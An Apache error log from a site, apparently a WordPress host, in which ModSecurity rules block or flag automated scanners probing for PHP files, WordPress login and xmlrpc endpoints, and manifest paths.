[Sun Mar 01 23:54:04.070329 2026] [proxy_fcgi:error] [pid 40750:tid 40755] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:04.279728 2026] [proxy_fcgi:error] [pid 40750:tid 40773] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:04.518544 2026] [proxy_fcgi:error] [pid 40750:tid 40760] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:04.727273 2026] [proxy_fcgi:error] [pid 40750:tid 40777] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:05.409801 2026] [proxy_fcgi:error] [pid 40750:tid 40753] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:05.645987 2026] [:error] [pid 40750:tid 40769] [client 20.104.124.39:26997] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aaRhHQfBuk03yQKDyquvpAAAAdA"]
[Sun Mar 01 23:54:11.000345 2026] [:error] [pid 37032:tid 37051] [client 20.104.124.39:26919] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aaRhIuu0U4o7eSImsVSXpAAAAZE"]
[Sun Mar 01 23:54:16.759849 2026] [:error] [pid 44644:tid 44666] [client 20.104.124.39:1737] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/galex.php"] [unique_id "aaRhKJ3RJaXMcw3y9V_vBgAAABM"]
[Sun Mar 01 23:54:24.193609 2026] [:error] [pid 7133:tid 7154] [client 20.104.124.39:1789] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xb.php"] [unique_id "aaRhMPCtubh8pR64qB-AKwAAAFM"]
[Sun Mar 01 23:54:33.038276 2026] [:error] [pid 7133:tid 7151] [client 20.104.124.39:1685] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xb.php"] [unique_id "aaRhOfCtubh8pR64qB-ARAAAAFA"]
[Sun Mar 01 23:54:39.436353 2026] [:error] [pid 40750:tid 40770] [client 20.104.124.39:1791] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xb.php"] [unique_id "aaRhPwfBuk03yQKDyquv8wAAAdE"]
[Sun Mar 01 23:54:42.447598 2026] [:error] [pid 38241:tid 38256] [client 20.104.124.39:1776] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ova.php"] [unique_id "aaRhQvKRPk6YnJBxw_xdlQAAAMw"]
[Sun Mar 01 23:54:44.481834 2026] [:error] [pid 40750:tid 40773] [client 20.104.124.39:1739] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ova.php"] [unique_id "aaRhRAfBuk03yQKDyquv_QAAAdQ"]
[Sun Mar 01 23:54:47.146577 2026] [:error] [pid 33822:tid 33838] [client 20.104.124.39:1762] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ova.php"] [unique_id "aaRhR26W3ygu1YVssuZI2gAAAo4"]
[Sun Mar 01 23:54:49.943257 2026] [:error] [pid 40750:tid 40773] [client 20.104.124.39:1689] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ova.php"] [unique_id "aaRhSQfBuk03yQKDyquwOQAAAdQ"]
[Sun Mar 01 23:54:52.643481 2026] [:error] [pid 33822:tid 33840] [client 20.104.124.39:1671] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaRhTG6W3ygu1YVssuZI5AAAApA"]
[Sun Mar 01 23:54:57.087451 2026] [:error] [pid 38241:tid 38245] [client 20.104.124.39:26901] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaRhUfKRPk6YnJBxw_xdqQAAAME"]
[Sun Mar 01 23:54:58.665920 2026] [:error] [pid 33822:tid 33829] [client 20.104.124.39:1757] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaRhUm6W3ygu1YVssuZI8AAAAoU"]
[Sun Mar 01 23:55:00.935287 2026] [:error] [pid 7133:tid 7145] [client 20.104.124.39:1784] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaRhVPCtubh8pR64qB-AigAAAEo"]
[Sun Mar 01 23:55:02.561327 2026] [:error] [pid 33822:tid 33837] [client 20.104.124.39:1790] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rh.php"] [unique_id "aaRhVm6W3ygu1YVssuZI-QAAAo0"]
[Sun Mar 01 23:55:04.765324 2026] [:error] [pid 37032:tid 37035] [client 20.104.124.39:26946] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rh.php"] [unique_id "aaRhWOu0U4o7eSImsVSYKgAAAYE"]
[Sun Mar 01 23:55:06.358593 2026] [proxy_fcgi:error] [pid 7133:tid 7142] [client 20.104.124.39:26880] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:46.987306 2026] [:error] [pid 7165:tid 7181] [client 20.63.80.2:64406] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/server.php"] [unique_id "aaRlBhRjCrA8qWBjgG_guQAAAk4"]
[Mon Mar 02 00:10:47.809684 2026] [:error] [pid 44644:tid 44657] [client 20.63.80.2:64418] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/server.php"] [unique_id "aaRlB53RJaXMcw3y9V_wuAAAAAo"]
[Mon Mar 02 00:10:48.637019 2026] [:error] [pid 33822:tid 33825] [client 20.63.80.2:64429] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/server.php"] [unique_id "aaRlCG6W3ygu1YVssuZM0gAAAoE"]
[Mon Mar 02 00:10:49.474634 2026] [proxy_fcgi:error] [pid 38034:tid 38036] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:49.695934 2026] [proxy_fcgi:error] [pid 38034:tid 38052] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:49.906616 2026] [proxy_fcgi:error] [pid 38034:tid 38037] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:50.116951 2026] [proxy_fcgi:error] [pid 38034:tid 38043] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:50.344067 2026] [proxy_fcgi:error] [pid 38034:tid 38059] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:50.550560 2026] [:error] [pid 38034:tid 38057] [client 20.63.80.2:64387] [client 20.63.80.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.80.2, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aaRlCgxtfZjwlJok9K85tQAAARM"]
[Mon Mar 02 00:10:50.764554 2026] [proxy_fcgi:error] [pid 38034:tid 38040] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:50.975032 2026] [proxy_fcgi:error] [pid 38034:tid 38038] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:51.184707 2026] [proxy_fcgi:error] [pid 38034:tid 38050] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:51.391216 2026] [:error] [pid 38034:tid 38049] [client 20.63.80.2:64387] [client 20.63.80.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.80.2, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaRlCwxtfZjwlJok9K85ugAAAQs"]
[Mon Mar 02 00:10:51.397103 2026] [proxy_fcgi:error] [pid 38034:tid 38049] [client 20.63.80.2:64387] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:10:51.603697 2026] [:error] [pid 38034:tid 38045] [client 20.63.80.2:64387] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaRlCwxtfZjwlJok9K85uwAAAQc"]
[Mon Mar 02 00:10:52.430508 2026] [:error] [pid 38241:tid 38250] [client 20.63.80.2:45087] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaRlDPKRPk6YnJBxw_xkHwAAAMY"]
[Mon Mar 02 00:10:53.268480 2026] [:error] [pid 7165:tid 7183] [client 20.63.80.2:64401] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaRlDRRjCrA8qWBjgG_gxwAAAlA"]
[Mon Mar 02 00:10:54.111855 2026] [:error] [pid 7165:tid 7169] [client 20.63.80.2:64395] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaRlDhRjCrA8qWBjgG_gyAAAAkI"]
[Mon Mar 02 00:49:09.535164 2026] [:error] [pid 53181:tid 53535] [client 206.189.158.56:57813] [client 206.189.158.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.158.56, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRuBYr_0T1SazTrJOAgMAAAARQ"]
[Mon Mar 02 00:49:09.545031 2026] [proxy_fcgi:error] [pid 53181:tid 53535] [client 206.189.158.56:57813] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 00:49:10.275669 2026] [:error] [pid 53181:tid 53529] [client 206.189.158.56:57813] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aaRuBor_0T1SazTrJOAgOwAAAQ4"]
[Mon Mar 02 00:49:10.448953 2026] [:error] [pid 53585:tid 53603] [client 206.189.158.56:60583] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aaRuBnbCvYsvu6kKhM1tAAAAAA8"]
[Mon Mar 02 00:49:10.623006 2026] [:error] [pid 53585:tid 53600] [client 206.189.158.56:61060] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aaRuBnbCvYsvu6kKhM1tAgAAAAw"]
[Mon Mar 02 00:49:10.799279 2026] [:error] [pid 53181:tid 53533] [client 206.189.158.56:61474] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaRuBor_0T1SazTrJOAgQQAAARI"]
[Mon Mar 02 00:49:10.973587 2026] [:error] [pid 53585:tid 53597] [client 206.189.158.56:61891] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaRuBnbCvYsvu6kKhM1tBwAAAAk"]
[Mon Mar 02 00:49:11.147276 2026] [:error] [pid 53181:tid 53528] [client 206.189.158.56:62310] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaRuB4r_0T1SazTrJOAgRQAAAQ0"]
[Mon Mar 02 00:49:11.321683 2026] [:error] [pid 53181:tid 53527] [client 206.189.158.56:62725] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaRuB4r_0T1SazTrJOAgRwAAAQw"]
[Mon Mar 02 00:49:11.495228 2026] [:error] [pid 53585:tid 53611] [client 206.189.158.56:63248] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaRuB3bCvYsvu6kKhM1tDAAAABc"]
[Mon Mar 02 00:49:11.670094 2026] [:error] [pid 53182:tid 53559] [client 206.189.158.56:63604] [client 206.189.158.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaRuB_v073cA6eM1YCSqoAAAAM8"]
[Mon Mar 02 01:21:35.223061 2026] [proxy_fcgi:error] [pid 53180:tid 53450] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:35.431966 2026] [proxy_fcgi:error] [pid 53180:tid 53449] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:35.651279 2026] [proxy_fcgi:error] [pid 53180:tid 53465] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:35.877983 2026] [proxy_fcgi:error] [pid 53180:tid 53466] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:36.105084 2026] [proxy_fcgi:error] [pid 53180:tid 53448] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:36.317533 2026] [proxy_fcgi:error] [pid 53180:tid 53453] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:36.525651 2026] [proxy_fcgi:error] [pid 53180:tid 53456] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:36.749039 2026] [proxy_fcgi:error] [pid 53180:tid 53459] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:36.956029 2026] [proxy_fcgi:error] [pid 53180:tid 53444] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:37.184577 2026] [proxy_fcgi:error] [pid 53180:tid 53467] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:37.408513 2026] [proxy_fcgi:error] [pid 53180:tid 53450] [client 20.151.11.87:25252] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:21:38.777911 2026] [:error] [pid 53180:tid 53446] [client 20.151.11.87:25252] [client 20.151.11.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aaR1ojPPJpDOBvYnaa1PowAAAYI"]
[Mon Mar 02 01:21:39.601812 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.87:25226] [client 20.151.11.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aaR1oxrUg-j5GLDtRFmSOgAAAFA"]
[Mon Mar 02 01:21:40.498331 2026] [:error] [pid 53182:tid 53545] [client 20.151.11.87:25219] [client 20.151.11.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aaR1pPv073cA6eM1YCTBJwAAAMI"]
[Mon Mar 02 01:21:41.340824 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.87:25032] [client 20.151.11.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aaR1pXbCvYsvu6kKhM2MkAAAABc"]
[Mon Mar 02 01:49:01.503215 2026] [proxy_fcgi:error] [pid 53585:tid 53610] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:01.663358 2026] [proxy_fcgi:error] [pid 53585:tid 53609] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:01.966886 2026] [proxy_fcgi:error] [pid 53585:tid 53606] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:02.118718 2026] [proxy_fcgi:error] [pid 53585:tid 53602] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:02.422827 2026] [proxy_fcgi:error] [pid 53585:tid 53608] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:02.584592 2026] [proxy_fcgi:error] [pid 53585:tid 53594] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:02.736362 2026] [proxy_fcgi:error] [pid 53585:tid 53592] [client 20.89.52.173:5006] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:49:03.035692 2026] [:error] [pid 53585:tid 53604] [client 20.89.52.173:5006] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaR8D3bCvYsvu6kKhM2lOwAAABA"]
[Mon Mar 02 01:49:03.538273 2026] [:error] [pid 26940:tid 26960] [client 20.89.52.173:4448] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaR8DxrUg-j5GLDtRFm1OwAAAFA"]
[Mon Mar 02 01:49:04.131588 2026] [:error] [pid 53180:tid 53445] [client 20.89.52.173:4432] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaR8EDPPJpDOBvYnaa1aNQAAAYE"]
[Mon Mar 02 01:49:04.587272 2026] [:error] [pid 53180:tid 53448] [client 20.89.52.173:4459] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaR8EDPPJpDOBvYnaa1aOQAAAYQ"]
[Mon Mar 02 01:51:23.353906 2026] [proxy_fcgi:error] [pid 26940:tid 26957] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:23.566281 2026] [proxy_fcgi:error] [pid 26940:tid 26958] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:23.778169 2026] [proxy_fcgi:error] [pid 26940:tid 26945] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:23.990182 2026] [proxy_fcgi:error] [pid 26940:tid 26956] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:24.202229 2026] [proxy_fcgi:error] [pid 26940:tid 26963] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:24.416095 2026] [proxy_fcgi:error] [pid 26940:tid 26947] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:24.841554 2026] [proxy_fcgi:error] [pid 26940:tid 26957] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:25.055718 2026] [proxy_fcgi:error] [pid 26940:tid 26944] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:25.268642 2026] [proxy_fcgi:error] [pid 26940:tid 26958] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
